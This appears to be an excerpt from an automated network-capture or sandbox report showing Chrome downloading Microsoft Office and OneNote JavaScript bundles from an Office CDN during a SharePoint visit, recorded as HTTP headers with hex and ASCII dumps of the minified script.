2024-04-26 07:59:09 UTC	8200	IN	Data Raw: 32 30 30 30 0d 0a 42 22 3a 31 2c 22 46 44 30 45 30 38 36 43 2d 34 45 30 44 2d 34 43 32 38 2d 38 30 36 38 2d 45 37 35 37 36 45 45 41 34 41 30 34 22 3a 31 2c 22 44 43 44 38 46 32 42 31 2d 35 36 30 31 2d 34 37 37 37 2d 42 37 31 34 2d 38 37 46 44 37 35 32 34 41 31 42 30 22 3a 31 2c 22 45 31 33 46 46 46 34 30 2d 42 46 45 37 2d 34 45 43 36 2d 41 34 43 36 2d 35 31 35 37 35 38 33 45 31 43 34 38 22 3a 31 2c 22 46 37 44 37 46 36 37 45 2d 30 32 30 36 2d 34 38 38 46 2d 41 45 35 42 2d 44 33 32 32 32 46 32 46 39 41 38 35 22 3a 31 2c 22 31 43 39 42 31 38 30 46 2d 39 35 31 45 2d 34 34 45 36 2d 42 46 41 43 2d 39 38 45 45 41 41 36 45 34 35 32 30 22 3a 31 2c 22 42 33 34 32 44 35 44 39 2d 31 39 36 44 2d 34 42 33 38 2d 38 33 30 30 2d 43 45 36 43 36 38 41 30 32 44 45 43 22 3a Data Ascii: 2000B":1,"FD0E086C-4E0D-4C28-8068-E7576EEA4A04":1,"DCD8F2B1-5601-4777-B714-87FD7524A1B0":1,"E13FFF40-BFE7-4EC6-A4C6-5157583E1C48":1,"F7D7F67E-0206-488F-AE5B-D3222F2F9A85":1,"1C9B180F-951E-44E6-BFAC-98EEAA6E4520":1,"B342D5D9-196D-4B38-8300-CE6C68A02DEC":
2024-04-26 07:59:09 UTC	8200	IN	Data Raw: 32 30 30 30 0d 0a 33 31 32 31 44 41 42 44 33 22 3a 31 2c 22 46 32 46 30 46 30 44 32 2d 35 46 30 42 2d 34 46 36 42 2d 39 46 30 43 2d 35 46 36 46 36 46 36 46 36 46 36 46 22 3a 31 2c 22 31 34 39 39 36 36 39 32 2d 30 43 38 34 2d 34 33 32 39 2d 42 36 31 43 2d 31 41 30 41 32 33 33 38 43 31 33 46 22 3a 31 2c 22 42 33 33 31 36 32 34 30 2d 43 41 38 31 2d 34 32 31 30 2d 39 41 37 34 2d 30 42 35 43 30 39 32 44 43 35 30 36 22 3a 31 2c 22 41 36 41 39 44 32 33 45 2d 34 32 43 35 2d 34 39 33 36 2d 39 32 36 37 2d 34 31 38 44 37 33 45 43 46 32 36 41 22 3a 31 2c 22 31 31 38 33 30 35 39 46 2d 41 37 43 44 2d 34 31 39 43 2d 42 31 33 41 2d 41 36 30 38 43 36 30 34 42 45 44 32 22 3a 31 2c 22 34 42 37 44 44 42 42 36 2d 44 35 46 44 2d 34 39 33 44 2d 39 43 44 31 2d 41 32 32 39 42 34 Data Ascii: 20003121DABD3":1,"F2F0F0D2-5F0B-4F6B-9F0C-5F6F6F6F6F6F":1,"14996692-0C84-4329-B61C-1A0A2338C13F":1,"B3316240-CA81-4210-9A74-0B5C092DC506":1,"A6A9D23E-42C5-4936-9267-418D73ECF26A":1,"1183059F-A7CD-419C-B13A-A608C604BED2":1,"4B7DDBB6-D5FD-493D-9CD1-A229B4
2024-04-26 07:59:09 UTC	8200	IN	Data Raw: 32 30 30 30 0d 0a 42 38 30 35 2d 42 39 36 34 39 35 44 44 38 34 39 36 22 3a 31 2c 22 32 36 30 39 36 37 42 38 2d 37 35 36 44 2d 34 38 31 42 2d 42 37 32 35 2d 43 30 38 35 43 46 34 44 46 45 32 38 22 3a 31 2c 22 37 33 32 36 38 45 32 34 2d 31 31 41 35 2d 34 34 43 32 2d 41 43 39 38 2d 45 33 44 43 38 39 43 46 30 45 46 45 22 3a 31 2c 22 34 34 30 32 42 33 36 46 2d 30 36 37 46 2d 34 32 43 43 2d 42 46 39 43 2d 37 39 39 43 36 32 37 35 31 37 32 35 22 3a 31 2c 22 46 42 32 41 33 46 32 33 2d 45 38 34 39 2d 34 30 45 39 2d 39 41 37 42 2d 38 43 35 35 32 41 37 38 46 42 45 35 22 3a 31 2c 22 42 39 32 34 39 30 31 36 2d 43 41 33 44 2d 34 39 35 31 2d 38 37 45 34 2d 42 46 43 43 38 38 32 36 39 35 45 32 22 3a 31 2c 22 43 44 36 41 43 30 30 38 2d 35 38 43 32 2d 34 44 33 31 2d 42 46 30 Data Ascii: 2000B805-B96495DD8496":1,"260967B8-756D-481B-B725-C085CF4DFE28":1,"73268E24-11A5-44C2-AC98-E3DC89CF0EFE":1,"4402B36F-067F-42CC-BF9C-799C62751725":1,"FB2A3F23-E849-40E9-9A7B-8C552A78FBE5":1,"B9249016-CA3D-4951-87E4-BFCC882695E2":1,"CD6AC008-58C2-4D31-BF0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49740	152.195.19.97	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 07:59:09 UTC	620	OUT	GET /wise/owl/owl.slim.904b646243df598ab119.js HTTP/1.1 Host: wise.public.cdn.office.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://usigroups-my.sharepoint.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://usigroups-my.sharepoint.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 07:59:09 UTC	1184	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET,HEAD,OPTIONS Access-Control-Allow-Origin: * Access-Control-Expose-Headers: date,X-Cdn-Provider,X-Ms-Request-Id Age: 129106 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Cache-Control: max-age=31536000 Content-Type: application/javascript Date: Fri, 26 Apr 2024 07:59:09 GMT Last-Modified: Wed, 24 Apr 2024 19:11:39 GMT NEL: {"report_to":"NelM365CDNUpload1","max_age":604800,"include_subdomains":true,"failure_fraction":1.0,"success_fraction":0.01} Report-To: {"group":"NelM365CDNUpload1","max_age":604800,"endpoints":[{"url":"https://M365CDN.nel.measure.office.net/api/report?FrontEnd=VerizonCDNWorldWide&DestinationEndpoint=Miami&ASN=174&Country=US&Region=FL&RequestIdentifier=12819852850311077083770669227566706812"}],"include_subdomains ":true} Server: ECAcc (mid/877E) Strict-Transport-Security: max-age=31536000; includeSubDomains Timing-Allow-Origin: * Vary: Accept-Encoding X-Cache: HIT X-CDN-Provider: Verizon X-Content-Type-Options: nosniff x-ms-request-id: 5d71de6c-701e-0003-6b83-968964000000 Content-Length: 187981 Connection: close
2024-04-26 07:59:09 UTC	16383	IN	Data Raw: 76 61 72 20 4d 69 63 72 6f 73 6f 66 74 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 6e 2c 74 2c 65 2c 6f 2c 69 3d 7b 39 33 32 33 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 2c 65 29 7b 65 2e 64 28 74 2c 7b 58 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 75 7d 7d 29 3b 76 61 72 20 6f 3d 65 28 34 34 30 31 29 2c 69 3d 65 28 38 35 37 29 2c 72 3d 65 28 37 36 35 29 2c 75 3d 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 74 29 7b 76 61 72 20 65 3d 6e 2e 63 61 6c 6c 28 74 68 69 73 29 7c 7c 74 68 69 73 3b 72 65 74 75 72 6e 20 65 2e 48 3d 74 2c 65 7d 72 65 74 75 72 6e 20 6f 2e 5a 54 28 74 2c 6e 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2e 70 72 6f 74 6f 74 79 Data Ascii: var Microsoft;!function(){"use strict";var n,t,e,o,i={9323:function(n,t,e){e.d(t,{X:function(){return u}});var o=e(4401),i=e(857),r=e(765),u=function(n){function t(t){var e=n.call(this)\|\|this;return e.H=t,e}return o.ZT(t,n),Object.defineProperty(t.prototy
2024-04-26 07:59:09 UTC	16383	IN	Data Raw: 7d 28 6e 2c 74 2c 65 29 7d 7d 28 28 6f 3d 74 2e 63 6e 2e 73 70 6c 69 63 65 28 30 2c 6e 3f 74 2e 61 6e 3a 74 2e 63 6e 2e 6c 65 6e 67 74 68 29 2c 69 3d 74 2e 76 6e 2c 73 3d 74 2e 6c 6e 2c 61 3d 74 2e 64 6e 2c 6c 3d 5b 5d 2c 63 3d 6f 2e 6d 61 70 28 28 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 2c 65 29 7b 76 61 72 20 6f 3d 7b 7d 3b 69 66 28 6f 2e 47 3d 6e 2e 74 61 67 2c 6f 2e 54 3d 6e 2e 74 69 6d 65 73 74 61 6d 70 2d 74 2c 6f 2e 4d 3d 6e 2e 6d 65 73 73 61 67 65 2c 6f 2e 43 3d 6e 2e 63 61 74 65 67 6f 72 79 2c 6e 2e 63 6f 72 72 65 6c 61 74 69 6f 6e 49 64 29 7b 76 61 72 20 69 3d 65 2e 66 69 6e 64 49 6e 64 65 78 28 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 3d 3d 3d 6e 2e 63 6f 72 72 65 6c 61 Data Ascii: }(n,t,e)}}((o=t.cn.splice(0,n?t.an:t.cn.length),i=t.vn,s=t.ln,a=t.dn,l=[],c=o.map((function(n){return function(n,t,e){var o={};if(o.G=n.tag,o.T=n.timestamp-t,o.M=n.message,o.C=n.category,n.correlationId){var i=e.findIndex((function(t){return t===n.correla
2024-04-26 07:59:10 UTC	16383	IN	Data Raw: 22 2c 6e 2e 43 6c 69 65 6e 74 53 65 6e 64 54 69 6d 65 3d 22 74 22 7d 28 61 7c 7c 28 61 3d 7b 7d 29 29 2c 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6e 5b 6e 2e 41 74 74 65 6d 70 74 54 6f 55 73 65 46 75 6e 63 74 69 6f 6e 61 6c 69 74 79 42 65 66 6f 72 65 49 69 74 69 61 6c 69 7a 61 74 69 6f 6e 3d 30 5d 3d 22 41 74 74 65 6d 70 74 54 6f 55 73 65 46 75 6e 63 74 69 6f 6e 61 6c 69 74 79 42 65 66 6f 72 65 49 69 74 69 61 6c 69 7a 61 74 69 6f 6e 22 2c 6e 5b 6e 2e 57 6f 72 6b 65 72 41 70 69 49 73 4e 6f 74 41 76 61 69 6c 61 62 6c 65 3d 31 5d 3d 22 57 6f 72 6b 65 72 41 70 69 49 73 4e 6f 74 41 76 61 69 6c 61 62 6c 65 22 2c 6e 5b 6e 2e 49 6e 76 61 6c 69 64 57 6f 72 6b 65 72 55 72 6c 3d 32 5d 3d 22 49 6e 76 61 6c 69 64 57 6f 72 6b 65 72 55 72 6c 22 2c 6e 5b 6e 2e 49 6e 73 74 61 Data Ascii: ",n.ClientSendTime="t"}(a\|\|(a={})),function(n){n[n.AttemptToUseFunctionalityBeforeIitialization=0]="AttemptToUseFunctionalityBeforeIitialization",n[n.WorkerApiIsNotAvailable=1]="WorkerApiIsNotAvailable",n[n.InvalidWorkerUrl=2]="InvalidWorkerUrl",n[n.Insta
2024-04-26 07:59:10 UTC	3	IN	Data Raw: 64 54 72 Data Ascii: dTr
2024-04-26 07:59:10 UTC	16383	IN	Data Raw: 61 63 65 54 61 67 28 35 35 33 37 32 36 32 38 37 2c 69 2e 57 2e 64 6f 2c 72 2e 47 2e 49 6e 66 6f 2c 22 47 65 74 57 6f 70 69 44 61 74 61 3a 20 47 65 74 74 69 6e 67 20 57 6f 70 69 48 6f 73 74 44 61 74 61 20 66 72 6f 6d 20 64 72 69 76 65 20 69 74 65 6d 2e 20 5b 49 73 56 61 6c 69 64 3a 20 22 2e 63 6f 6e 63 61 74 28 21 21 68 2c 22 5d 22 29 29 3b 76 61 72 20 70 3d 7b 73 74 61 72 74 54 69 6d 65 3a 66 2c 65 6e 64 54 69 6d 65 3a 28 30 2c 6f 2e 56 46 29 28 29 7d 3b 72 65 74 75 72 6e 28 30 2c 6f 2e 6c 35 29 28 22 77 6f 70 69 44 61 74 61 45 6e 64 54 69 6d 65 22 29 2c 7b 64 6f 63 75 6d 65 6e 74 49 64 65 6e 74 69 66 69 65 72 3a 76 2c 77 6f 70 69 48 6f 73 74 44 61 74 61 3a 68 2c 66 65 74 63 68 44 69 61 67 6e 6f 73 74 69 63 73 3a 70 7d 7d 29 29 2e 63 61 74 63 68 28 28 66 Data Ascii: aceTag(553726287,i.W.do,r.G.Info,"GetWopiData: Getting WopiHostData from drive item. [IsValid: ".concat(!!h,"]"));var p={startTime:f,endTime:(0,o.VF)()};return(0,o.l5)("wopiDataEndTime"),{documentIdentifier:v,wopiHostData:h,fetchDiagnostics:p}})).catch((f
2024-04-26 07:59:10 UTC	16383	IN	Data Raw: 70 65 64 20 6e 6f 74 20 6c 6f 61 64 65 64 3a 20 22 2e 63 6f 6e 63 61 74 28 21 65 29 3b 6e 75 6c 6c 3d 3d 42 7c 7c 42 2e 55 4c 53 2e 73 65 6e 64 54 72 61 63 65 54 61 67 28 35 37 35 34 31 39 34 30 33 2c 76 2e 57 2e 64 6f 2c 68 2e 47 2e 45 72 72 6f 72 2c 75 29 3b 76 61 72 20 73 3d 7b 77 61 63 45 72 72 6f 72 4e 61 6d 65 3a 63 2e 41 55 2e 45 6f 2c 71 6f 73 45 72 72 6f 72 4e 61 6d 65 3a 63 2e 44 47 2e 51 6f 73 45 72 72 6f 72 5f 4f 66 66 69 63 65 42 6f 6f 74 73 74 72 61 70 70 65 72 4e 6f 74 4c 6f 61 64 65 64 2c 65 72 72 6f 72 4d 65 73 73 61 67 65 3a 75 2c 65 72 72 6f 72 3a 72 2c 69 6e 53 74 61 67 69 6e 67 3a 21 31 7d 3b 69 26 26 69 28 73 29 7d 7d 29 29 2e 63 61 74 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 61 28 6e 29 7d 29 29 29 2c 5b 32 5d 7d 29 29 7d 29 Data Ascii: ped not loaded: ".concat(!e);null==B\|\|B.ULS.sendTraceTag(575419403,v.W.do,h.G.Error,u);var s={wacErrorName:c.AU.Eo,qosErrorName:c.DG.QosError_OfficeBootstrapperNotLoaded,errorMessage:u,error:r,inStaging:!1};i&&i(s)}})).catch((function(n){a(n)}))),[2]}))})
2024-04-26 07:59:10 UTC	16383	IN	Data Raw: 6d 65 50 61 67 65 52 65 73 70 6f 6e 73 65 53 74 61 72 74 54 69 6d 65 3a 28 6e 75 6c 6c 3d 3d 74 3f 76 6f 69 64 20 30 3a 74 2e 74 69 6d 69 6e 67 2e 72 65 73 70 6f 6e 73 65 53 74 61 72 74 29 7c 7c 30 2c 6f 77 6c 46 72 61 6d 65 50 61 67 65 52 65 73 70 6f 6e 73 65 45 6e 64 54 69 6d 65 3a 28 6e 75 6c 6c 3d 3d 74 3f 76 6f 69 64 20 30 3a 74 2e 74 69 6d 69 6e 67 2e 72 65 73 70 6f 6e 73 65 45 6e 64 29 7c 7c 30 2c 6f 77 6c 46 72 61 6d 65 50 61 67 65 44 6f 6d 43 6f 6d 70 6c 65 74 65 54 69 6d 65 3a 28 6e 75 6c 6c 3d 3d 74 3f 76 6f 69 64 20 30 3a 74 2e 74 69 6d 69 6e 67 2e 64 6f 6d 43 6f 6d 70 6c 65 74 65 29 7c 7c 30 2c 6f 77 6c 46 72 61 6d 65 50 61 67 65 52 65 64 69 72 65 63 74 43 6f 75 6e 74 3a 28 6e 75 6c 6c 3d 3d 74 3f 76 6f 69 64 20 30 3a 74 2e 6e 61 76 69 67 61 Data Ascii: mePageResponseStartTime:(null==t?void 0:t.timing.responseStart)\|\|0,owlFramePageResponseEndTime:(null==t?void 0:t.timing.responseEnd)\|\|0,owlFramePageDomCompleteTime:(null==t?void 0:t.timing.domComplete)\|\|0,owlFramePageRedirectCount:(null==t?void 0:t.naviga
2024-04-26 07:59:10 UTC	16383	IN	Data Raw: 3d 22 57 61 63 44 6f 63 75 6d 65 6e 74 42 6f 6f 74 73 74 72 61 70 70 65 72 4c 6f 61 64 45 72 72 6f 72 22 2c 6e 2e 4e 6f 3d 22 57 61 63 49 6e 69 74 69 61 6c 69 7a 65 57 6f 70 69 50 65 6e 64 69 6e 67 45 72 72 6f 72 22 2c 6e 2e 57 6f 3d 22 57 61 63 44 6f 63 75 6d 65 6e 74 47 65 6e 65 72 69 63 42 6f 6f 74 45 72 72 6f 72 22 2c 6e 2e 46 6f 3d 22 57 61 63 44 6f 63 75 6d 65 6e 74 4a 73 41 70 69 56 31 45 72 72 6f 72 22 2c 6e 2e 79 6f 3d 22 57 61 63 44 6f 63 75 6d 65 6e 74 4a 73 41 70 69 56 32 45 72 72 6f 72 22 2c 6e 2e 55 6f 3d 22 57 61 63 44 6f 63 75 6d 65 6e 74 4a 73 41 70 69 56 32 45 72 72 6f 72 5f 41 70 70 22 2c 6e 2e 54 6f 3d 22 57 61 63 44 6f 63 75 6d 65 6e 74 4a 73 41 70 69 56 32 45 72 72 6f 72 5f 4a 73 41 70 69 22 2c 6e 2e 41 6f 3d 22 57 61 63 44 6f 63 75 Data Ascii: ="WacDocumentBootstrapperLoadError",n.No="WacInitializeWopiPendingError",n.Wo="WacDocumentGenericBootError",n.Fo="WacDocumentJsApiV1Error",n.yo="WacDocumentJsApiV2Error",n.Uo="WacDocumentJsApiV2Error_App",n.To="WacDocumentJsApiV2Error_JsApi",n.Ao="WacDocu
2024-04-26 07:59:10 UTC	16383	IN	Data Raw: 2f 2c 73 3d 2f 68 74 74 70 5b 73 5d 3f 3a 5c 2f 5c 2f 64 5c 2e 64 6f 63 73 5c 2e 6c 69 76 65 5c 2e 6e 65 74 2f 2c 61 3d 22 68 74 74 70 73 3a 2f 2f 67 72 61 70 68 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 22 2c 6c 3d 6e 65 77 20 52 65 67 45 78 70 28 5b 22 5e 28 68 74 74 70 73 3f 3a 29 2f 2f 22 2c 22 28 28 5b 5e 3a 2f 3f 23 5d 2a 29 28 3f 3a 3a 28 5b 30 2d 39 5d 2b 29 29 3f 29 22 2c 22 28 2f 7b 30 2c 31 7d 5b 5e 3f 23 5d 2a 29 22 2c 22 28 5c 5c 3f 5b 5e 23 5d 2a 7c 29 22 2c 22 28 23 2e 2a 7c 29 24 22 5d 2e 6a 6f 69 6e 28 22 22 29 29 3b 66 75 6e 63 74 69 6f 6e 20 63 28 6e 29 7b 69 66 28 21 6e 29 72 65 74 75 72 6e 22 22 3b 74 72 79 7b 72 65 74 75 72 6e 20 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 6e 29 7d 63 61 74 63 68 28 6e 29 7b 72 65 74 75 Data Ascii: /,s=/http[s]?:\/\/d\.docs\.live\.net/,a="https://graph.microsoft.com",l=new RegExp(["^(https?:)//","(([^:/?#])(?::([0-9]+))?)","(/{0,1}[^?#])","(\\?[^#]\|)","(#.\|)$"].join(""));function c(n){if(!n)return"";try{return decodeURIComponent(n)}catch(n){retu
2024-04-26 07:59:10 UTC	16383	IN	Data Raw: 7a 77 70 65 4f 4c 4a 72 77 42 57 65 69 67 2f 69 6f 62 6f 39 4e 5a 58 69 67 46 51 48 49 47 53 56 22 2c 38 31 30 32 3a 22 73 68 61 33 38 34 2d 67 67 73 67 2f 69 64 45 76 68 65 67 78 30 6c 58 44 7a 59 77 76 76 41 4a 4d 6c 54 55 71 4b 4e 72 34 74 46 42 56 2b 31 75 6b 54 70 64 6a 51 4b 6a 79 52 4d 2f 74 2f 4a 69 4b 79 6a 78 36 49 6d 77 22 2c 38 32 31 37 3a 22 73 68 61 33 38 34 2d 6d 70 72 41 71 37 69 69 7a 6d 76 34 62 43 37 34 6a 71 6b 52 2b 34 32 77 4e 41 6a 61 38 33 53 79 5a 69 78 75 43 58 6a 48 54 44 7a 2b 30 6a 6a 75 44 4c 6b 6d 73 48 5a 6d 55 64 64 32 33 70 75 56 22 2c 38 32 32 35 3a 22 73 68 61 33 38 34 2d 79 61 37 4b 37 67 37 70 49 62 43 67 63 6a 53 78 4c 41 2b 46 4f 7a 63 32 32 6d 57 66 44 62 58 61 66 4a 52 6d 7a 4e 4b 65 42 6a 41 73 69 6c 65 2f 6f 63 Data Ascii: zwpeOLJrwBWeig/iobo9NZXigFQHIGSV",8102:"sha384-ggsg/idEvhegx0lXDzYwvvAJMlTUqKNr4tFBV+1ukTpdjQKjyRM/t/JiKyjx6Imw",8217:"sha384-mprAq7iizmv4bC74jqkR+42wNAja83SyZixuCXjHTDz+0jjuDLkmsHZmUdd23puV",8225:"sha384-ya7K7g7pIbCgcjSxLA+FOzc22mWfDbXafJRmzNKeBjAsile/oc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49741	152.195.19.97	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 07:59:09 UTC	582	OUT	GET /wise/owl/onenote-boot.9b8b959024767cc8e6ba.js HTTP/1.1 Host: wise.public.cdn.office.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://usigroups-my.sharepoint.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 07:59:09 UTC	1185	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET,HEAD,OPTIONS Access-Control-Allow-Origin: * Access-Control-Expose-Headers: date,X-Cdn-Provider,X-Ms-Request-Id Age: 128944 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Cache-Control: max-age=31536000 Content-Type: application/javascript Date: Fri, 26 Apr 2024 07:59:09 GMT Last-Modified: Wed, 24 Apr 2024 19:11:38 GMT NEL: {"report_to":"NelM365CDNUpload1","max_age":604800,"include_subdomains":true,"failure_fraction":1.0,"success_fraction":0.01} Report-To: {"group":"NelM365CDNUpload1","max_age":604800,"endpoints":[{"url":"https://M365CDN.nel.measure.office.net/api/report?FrontEnd=VerizonCDNWorldWide&DestinationEndpoint=Miami&ASN=174&Country=US&Region=FL&RequestIdentifier=548834258856270430016543974557012746312"}],"include_subdomains ":true} Server: ECAcc (mid/874D) Strict-Transport-Security: max-age=31536000; includeSubDomains Timing-Allow-Origin: * Vary: Accept-Encoding X-Cache: HIT X-CDN-Provider: Verizon X-Content-Type-Options: nosniff x-ms-request-id: f8ed995a-b01e-000c-6083-96ff08000000 Content-Length: 149717 Connection: close
2024-04-26 07:59:09 UTC	16383	IN	Data Raw: 76 61 72 20 4d 69 63 72 6f 73 6f 66 74 3d 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 4d 69 63 72 6f 73 6f 66 74 3f 4d 69 63 72 6f 73 6f 66 74 3a 7b 7d 3b 4d 69 63 72 6f 73 6f 66 74 2e 4f 66 66 69 63 65 3d 4d 69 63 72 6f 73 6f 66 74 2e 4f 66 66 69 63 65 7c 7c 7b 7d 2c 4d 69 63 72 6f 73 6f 66 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6e 28 69 29 7b 69 66 28 74 5b 69 5d 29 72 65 74 75 72 6e 20 74 5b 69 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 6f 3d 74 5b 69 5d 3d 7b 69 3a 69 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 65 5b 69 5d 2e 63 61 6c 6c 28 6f 2e 65 78 70 6f 72 74 73 2c 6f 2c 6f 2e 65 78 70 6f 72 74 73 2c 6e 29 2c Data Ascii: var Microsoft="object"==typeof Microsoft?Microsoft:{};Microsoft.Office=Microsoft.Office\|\|{},Microsoft.Office.OneNote=function(e){var t={};function n(i){if(t[i])return t[i].exports;var o=t[i]={i:i,l:!1,exports:{}};return e[i].call(o.exports,o,o.exports,n),
2024-04-26 07:59:09 UTC	1	IN	Data Raw: 6c Data Ascii: l
2024-04-26 07:59:09 UTC	16383	IN	Data Raw: 65 61 72 54 69 6d 65 6f 75 74 28 74 68 69 73 2e 5a 74 29 2c 74 68 69 73 2e 58 74 26 26 73 65 6c 66 2e 63 61 6e 63 65 6c 49 64 6c 65 43 61 6c 6c 62 61 63 6b 28 74 68 69 73 2e 58 74 29 2c 74 68 69 73 2e 5a 74 3d 76 6f 69 64 20 30 2c 74 68 69 73 2e 58 74 3d 76 6f 69 64 20 30 2c 74 68 69 73 2e 47 74 3d 76 6f 69 64 20 30 2c 74 68 69 73 2e 7a 74 2e 72 65 6d 6f 76 65 41 6c 6c 28 29 7d 2c 65 7d 28 29 3b 21 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 61 70 70 52 65 62 6f 6f 74 3d 22 61 70 70 52 65 62 6f 6f 74 22 2c 65 2e 62 6f 6f 74 3d 22 62 6f 6f 74 22 2c 65 2e 63 6c 6f 73 65 54 61 62 3d 22 63 6c 6f 73 65 54 61 62 22 2c 65 2e 63 72 65 61 74 65 4e 65 77 3d 22 63 72 65 61 74 65 4e 65 77 22 2c 65 2e 64 69 73 70 6f 73 65 3d 22 64 69 73 70 6f 73 65 22 2c 65 2e 66 72 61 Data Ascii: earTimeout(this.Zt),this.Xt&&self.cancelIdleCallback(this.Xt),this.Zt=void 0,this.Xt=void 0,this.Gt=void 0,this.zt.removeAll()},e}();!function(e){e.appReboot="appReboot",e.boot="boot",e.closeTab="closeTab",e.createNew="createNew",e.dispose="dispose",e.fra
2024-04-26 07:59:10 UTC	16383	IN	Data Raw: 68 69 73 2e 24 6f 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 67 65 28 65 2c 22 56 69 73 69 62 69 6c 69 74 79 43 68 61 6e 67 65 5f 22 2b 64 6f 63 75 6d 65 6e 74 2e 76 69 73 69 62 69 6c 69 74 79 53 74 61 74 65 2c 74 29 7d 2c 74 68 69 73 2e 5a 6f 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 67 65 28 65 2c 22 4f 6e 55 6e 6c 6f 61 64 22 2c 74 29 7d 2c 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 62 65 66 6f 72 65 75 6e 6c 6f 61 64 22 2c 74 68 69 73 2e 71 6f 2c 7b 63 61 70 74 75 72 65 3a 21 30 2c 6f 6e 63 65 3a 21 30 7d 29 2c 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 70 61 67 65 68 69 64 65 22 2c 74 68 69 73 2e 4b 6f 2c 7b 63 61 70 74 75 72 65 3a 21 30 7d 29 2c 77 69 6e 64 Data Ascii: his.$o=function(){return ge(e,"VisibilityChange_"+document.visibilityState,t)},this.Zo=function(){return ge(e,"OnUnload",t)},window.addEventListener("beforeunload",this.qo,{capture:!0,once:!0}),window.addEventListener("pagehide",this.Ko,{capture:!0}),wind
2024-04-26 07:59:10 UTC	16383	IN	Data Raw: 74 6f 20 73 75 62 6d 69 74 20 6f 6e 20 72 65 74 72 79 2e 20 45 72 72 6f 72 3a 20 22 2e 63 6f 6e 63 61 74 28 6a 28 65 29 29 29 2c 65 7d 29 29 7d 7d 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 56 69 73 69 62 69 6c 69 74 79 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 69 73 2e 49 73 26 26 55 65 28 74 68 69 73 2e 49 73 2c 65 29 7d 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 4d 65 73 73 61 67 65 48 61 6e 64 6c 65 72 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 69 73 2e 77 72 3d 65 2c 74 68 69 73 2e 62 73 26 26 74 68 69 73 2e 62 73 2e 73 65 74 4d 65 73 73 61 67 65 48 61 6e 64 6c 65 72 28 65 29 7d 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 57 72 61 70 70 65 72 50 6f 73 74 4d 65 73 73 61 67 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 69 73 2e 79 Data Ascii: to submit on retry. Error: ".concat(j(e))),e}))}},e.prototype.setVisibility=function(e){this.Is&&Ue(this.Is,e)},e.prototype.setMessageHandler=function(e){this.wr=e,this.bs&&this.bs.setMessageHandler(e)},e.prototype.setWrapperPostMessage=function(e){this.y
